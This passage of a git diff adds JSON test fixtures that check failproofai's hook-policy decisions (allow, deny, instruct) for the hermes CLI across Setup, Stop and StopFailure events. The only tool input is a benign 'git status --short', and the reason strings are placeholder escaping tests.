"permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Setup/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/Setup/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a65ba4ac --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Setup/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Stop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/Stop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..ad384361 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Stop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Stop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/Stop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..f777a94a --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Stop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Stop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/Stop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9c22b106 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Stop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Stop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/Stop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..01de0fa2 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Stop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Stop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/Stop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..6128c189 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Stop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Stop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/Stop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..bde7c025 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Stop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Stop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/Stop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..5dd4c4a6 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Stop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Stop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/Stop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f3c6b235 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Stop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Stop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/Stop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..5a754ec6 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Stop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked stop by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Stop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/Stop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..f0dac68c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Stop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked stop by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Stop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/Stop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..f27449be --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Stop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Stop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/Stop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..93a90ba0 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Stop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Stop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/Stop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..937f289e --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Stop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Stop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/Stop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..8354717b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Stop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/Stop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/Stop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..a394a79b --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Stop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/Stop/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/Stop/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..7c2cdced --- /dev/null +++ b/__tests__/parity/fixtures/hermes/Stop/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/StopFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/StopFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..2f975a45 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/StopFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/StopFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/StopFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..92e11120 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/StopFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + 